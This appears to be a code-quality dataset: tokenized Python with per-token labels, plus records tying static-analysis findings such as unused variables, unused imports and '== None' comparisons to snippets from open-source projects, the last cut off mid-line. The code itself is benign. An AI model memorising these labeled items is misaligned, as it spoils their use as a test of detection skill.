"\\u\\u\\uDEDENT\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Revi",
"sion",
"Date",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"ci",
"\\u",
"date_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"CI",
"\\u",
"Date",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"ci",
"\\u",
"date_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"date",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"ci",
"\\u",
"date_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"date",
"Type",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"'",
"revis",
"ion",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"publicat",
"ion",
" ",
"date_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Public",
"ation",
"Date",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"ci",
"\\u",
"date_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"CI",
"\\u",
"Date",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"ci",
"\\u",
"date_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"date",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"ci",
"\\u",
"date_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"date",
"Type",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"'",
"publicat",
"ion",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"bbox",
" ",
"extent_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Bound",
"ing",
"Box",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"bbox",
"el_",
"=_",
"write",
"\\u",
"extent_",
"(_",
"val_",
",_",
"context_",
"._",
"namespaces_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"bbox",
"el_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"core_",
"._",
"append_",
"(_",
"bbox",
"el_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"geographic",
" ",
"description_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Geo",
"graphic",
"Descripti",
"on",
"Code",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"geo",
"\\u",
"desc_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"EX",
"\\u",
"Geo",
"graphic",
"Descripti",
"on",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"geo",
"\\u",
"desc_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"geographic",
"Identifie",
"r",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"val_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"crs_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"val_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"CR",
"S",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"val_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"rs",
"\\u",
"identifier_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"RS",
"\\u",
"Identifie",
"r",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"rs",
"\\u",
"code_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"rs",
"\\u",
"identifier_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"code",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"rs",
"\\u",
"code_",
"._",
"append_",
"(_",
"\\u",
"get",
"\\u",
"pt",
"\\u",
"free",
"text_",
"(_",
"val_",
",_",
"language_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"tempora",
"l",
" ",
"extent_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"time",
"\\u",
"begin_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Temp",
"Extent",
"\\u",
"begin",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time",
"\\u",
"end_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Temp",
"Extent",
"\\u",
"end",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"time",
"\\u",
"begin_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp",
"\\u",
"ext_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"EX",
"\\u",
"Tempora",
"l",
"Extent",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"extent_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"temp",
"\\u",
"ext_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"extent",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tm",
"\\u",
"primitive_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"extent_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"TM",
"\\u",
"Primitive",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"tm",
"\\u",
"primitive_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"begin",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"time",
"\\u",
"begin_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"time",
"\\u",
"end_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"tm",
"\\u",
"primitive_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"end",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"time",
"\\u",
"end_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"links_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"rli",
"nks",
"_",
"=_",
"util_",
"._",
"get",
"qa",
"ttr",
"_",
"(_",
"result_",
",_",
"context_",
"._",
"md",
"\\u",
"core",
"\\u",
"model_",
"[_",
"'",
"mapping",
"s",
"'_",
"]_",
"[_",
"'",
"pyc",
"sw",
":",
"Link",
"s",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"rli",
"nks",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"link_",
"in_",
"rli",
"nks",
"_",
"._",
"split_",
"(_",
"'",
"^",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"name_",
",_",
"description_",
",_",
"protocol_",
",_",
"url_",
"=_",
"link_",
"._",
"split_",
"(_",
"','_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"onli",
"ne",
"\\u",
"resource_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"core_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"GM",
"03",
"\\u",
"2",
"\\u",
"1",
"Core",
".",
"Core",
".",
"On",
"line",
"Reso",
"urc",
"e",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"protocol_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"onli",
"ne",
"\\u",
"resource_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"protoc",
"ol",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"._",
"text_",
"=_",
"protocol_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"description_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"desc_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"onli",
"ne",
"\\u",
"resource_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"description",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"desc_",
"._",
"append_",
"(_",
"\\u",
"get",
"\\u",
"pt",
"\\u",
"free",
"text_",
"(_",
"description_",
",_",
"language_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"name_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"name",
"\\u",
"el_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"onli",
"ne",
"\\u",
"resource_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"name",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"name",
"\\u",
"el_",
"._",
"append_",
"(_",
"\\u",
"get",
"\\u",
"pt",
"\\u",
"free",
"text_",
"(_",
"name_",
",_",
"language_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"linkage",
"_",
"=_",
"etree_",
"._",
"Sub",
"Element_",
"(_",
"onli",
"ne",
"\\u",
"resource_",
",_",
"util_",
"._",
"nsp",
"ath",
"\\u",
"eval_",
"(_",
"'",
"gm",
"03",
":",
"linkage",
"'_",
",_",
"NAMESPACE",
"S_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"linkage",
"_",
"._",
"append_",
"(_",
"\\u",
"get",
"\\u",
"pt",
"\\u",
"free",
"url_",
"(_",
"url_",
",_",
"language_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"node_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | adblockplus/gyp/tools/pretty_gyp.py | [
{
"content": "def prettyprint_input(lines):\n \"\"\"Does the main work of indenting the input based on the brace counts.\"\"\"\n indent = 0\n basic_offset = 2\n last_line = \"\"\n for line in lines:\n if COMMENT_RE.match(line):\n print line\n else:\n line = line.strip('\\r\\n\\t ') # Otherwise doesn't strip \\r on Unix.\n if len(line) > 0:\n (brace_diff, after) = count_braces(line)\n if brace_diff != 0:\n if after:\n print \" \" * (basic_offset * indent) + line\n indent += brace_diff\n else:\n indent += brace_diff\n print \" \" * (basic_offset * indent) + line\n else:\n print \" \" * (basic_offset * indent) + line\n else:\n print \"\"\n last_line = line",
"metadata": "root.prettyprint_input",
"header": "['module', '___EOS___']",
"index": 114
}
]
| [
{
"span": "last_line ",
"start_line": 137,
"start_column": 6,
"end_line": 137,
"end_column": 15
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"pretty",
"print",
"\\u",
"input_",
"(_",
"lines_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Do",
"es",
" ",
"the",
" ",
"main",
" ",
"work",
" ",
"of",
" ",
"indent",
"ing",
" ",
"the",
" ",
"input",
" ",
"based",
" ",
"on",
" ",
"the",
" ",
"brace",
" ",
"count",
"s",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"indent_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"basic",
"\\u",
"offset_",
"=_",
"2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"last",
"\\u",
"line_",
"=_",
"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"line_",
"in_",
"lines_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"COMMENT",
"\\u",
"RE_",
"._",
"match_",
"(_",
"line_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"line_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"line_",
"=_",
"line_",
"._",
"strip_",
"(_",
"'\\\\",
"r",
"\\\\",
"n",
"\\\\",
"t",
" ",
"'_",
")_",
"#",
" ",
"Ot",
"her",
"wis",
"e",
" ",
"doe",
"sn",
"'",
"t",
" ",
"strip",
" ",
"\\\\",
"r",
" ",
"on",
" ",
"Uni",
"x",
"._",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"len_",
"(_",
"line_",
")_",
">_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"(_",
"brace",
"\\u",
"diff_",
",_",
"after_",
")_",
"=_",
"count",
"\\u",
"braces",
"_",
"(_",
"line_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"brace",
"\\u",
"diff_",
"!=_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"after_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"\"",
" ",
"\"_",
"*_",
"(_",
"basic",
"\\u",
"offset_",
"*_",
"indent_",
")_",
"+_",
"line_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"indent_",
"+=_",
"brace",
"\\u",
"diff_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"indent_",
"+=_",
"brace",
"\\u",
"diff_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"\"",
" ",
"\"_",
"*_",
"(_",
"basic",
"\\u",
"offset_",
"*_",
"indent_",
")_",
"+_",
"line_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
2,
2,
2
]
|
Unused import | omab/django-social-auth/social_auth/backends/contrib/evernote.py | [
{
"content": "from django.conf import settings\n\n\nif getattr(settings, 'EVERNOTE_DEBUG', False):\n from social.backends.evernote import \\\n EvernoteSandboxOAuth as EvernoteBackend\nelse:\n from social.backends.evernote import EvernoteOAuth as EvernoteBackend\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "from social.backends.evernote import \\\n EvernoteSandboxOAuth as EvernoteBackend",
"start_line": 4,
"start_column": 4,
"end_line": 5,
"end_column": 51
},
{
"span": "from social.backends.evernote import EvernoteOAuth as EvernoteBackend",
"start_line": 7,
"start_column": 4,
"end_line": 7,
"end_column": 73
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"from_",
"django_",
"._",
"conf_",
"import_",
"settings_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"getattr_",
"(_",
"settings_",
",_",
"'",
"EVE",
"RN",
"OT",
"E",
"\\u",
"DEBU",
"G",
"'_",
",_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"from_",
"social",
"_",
"._",
"backends_",
"._",
"ever",
"note_",
"import_",
"Eve",
"rno",
"te",
"Sandbox",
"OA",
"uth_",
"as_",
"Eve",
"rno",
"te",
"Backend_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"from_",
"social",
"_",
"._",
"backends_",
"._",
"ever",
"note_",
"import_",
"Eve",
"rno",
"te",
"OA",
"uth_",
"as_",
"Eve",
"rno",
"te",
"Backend_",
"\\u\\u\\uDEDENT\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2
]
|
Testing equality to None | bchew/dynamodump/dynamodump.py | [
{
"content": "def get_table_name_matches(conn, table_name_wildcard, separator):\n all_tables = []\n last_evaluated_table_name = None\n\n while True:\n table_list = conn.list_tables(exclusive_start_table_name=last_evaluated_table_name)\n all_tables.extend(table_list[\"TableNames\"])\n\n try:\n last_evaluated_table_name = table_list[\"LastEvaluatedTableName\"]\n except KeyError, e:\n break\n\n matching_tables = []\n for table_name in all_tables:\n if table_name_wildcard == \"*\":\n matching_tables.append(table_name)\n elif separator == None:\n if table_name.startswith(table_name_wildcard.split(\"*\", 1)[0]):\n matching_tables.append(table_name)\n elif table_name.split(separator, 1)[0] == table_name_wildcard.split(\"*\", 1)[0]:\n matching_tables.append(table_name)\n\n return matching_tables",
"metadata": "root.get_table_name_matches",
"header": "['module', '___EOS___']",
"index": 19
},
{
"content": "def do_restore(conn, sleep_interval, source_table, destination_table, write_capacity):\n logging.info(\"Starting restore for \" + source_table + \" to \" + destination_table + \"..\")\n\n # create table using schema\n # restore source_table from dump directory if it exists else try current working directory\n if os.path.exists(\"%s/%s\" % (DUMP_PATH, source_table)):\n dump_data_path = DUMP_PATH\n else:\n logging.info(\"Cannot find \\\"./%s/%s\\\", Now trying current working directory..\" % (DUMP_PATH, source_table))\n if os.path.exists(\"%s/%s\" % (CURRENT_WORKING_DIR, source_table)):\n dump_data_path = CURRENT_WORKING_DIR\n else:\n logging.info(\"Cannot find \\\"%s/%s\\\" directory containing dump files!\" % (CURRENT_WORKING_DIR, source_table))\n sys.exit(1)\n table_data = json.load(open(dump_data_path + \"/\" + source_table + \"/\" + SCHEMA_FILE))\n table = table_data[\"Table\"]\n table_attribute_definitions = table[\"AttributeDefinitions\"]\n table_table_name = destination_table\n table_key_schema = table[\"KeySchema\"]\n original_read_capacity = table[\"ProvisionedThroughput\"][\"ReadCapacityUnits\"]\n original_write_capacity = table[\"ProvisionedThroughput\"][\"WriteCapacityUnits\"]\n table_local_secondary_indexes = table.get(\"LocalSecondaryIndexes\")\n table_global_secondary_indexes = table.get(\"GlobalSecondaryIndexes\")\n\n if not args.dataOnly:\n # override table write capacity if specified, else use RESTORE_WRITE_CAPACITY if original write capacity is lower\n if write_capacity == None:\n if original_write_capacity < RESTORE_WRITE_CAPACITY:\n write_capacity = RESTORE_WRITE_CAPACITY\n else:\n write_capacity = original_write_capacity\n\n # override GSI write capacities if specified, else use RESTORE_WRITE_CAPACITY if original write capacity is lower\n original_gsi_write_capacities = []\n if table_global_secondary_indexes is not None:\n for gsi in table_global_secondary_indexes:\n original_gsi_write_capacities.append(gsi[\"ProvisionedThroughput\"][\"WriteCapacityUnits\"])\n\n if gsi[\"ProvisionedThroughput\"][\"WriteCapacityUnits\"] < int(write_capacity):\n gsi[\"ProvisionedThroughput\"][\"WriteCapacityUnits\"] = int(write_capacity)\n\n # temp provisioned throughput for restore\n table_provisioned_throughput = {\"ReadCapacityUnits\": int(original_read_capacity), \"WriteCapacityUnits\": int(write_capacity)}\n\n logging.info(\"Creating \" + destination_table + \" table with temp write capacity of \" + str(write_capacity))\n\n while True:\n try:\n conn.create_table(table_attribute_definitions, table_table_name, table_key_schema, table_provisioned_throughput, table_local_secondary_indexes, table_global_secondary_indexes)\n break\n except boto.exception.JSONResponseError, e:\n if e.body[\"__type\"] == \"com.amazonaws.dynamodb.v20120810#LimitExceededException\":\n logging.info(\"Limit exceeded, retrying creation of \" + destination_table + \"..\")\n time.sleep(sleep_interval)\n elif e.body[\"__type\"] == 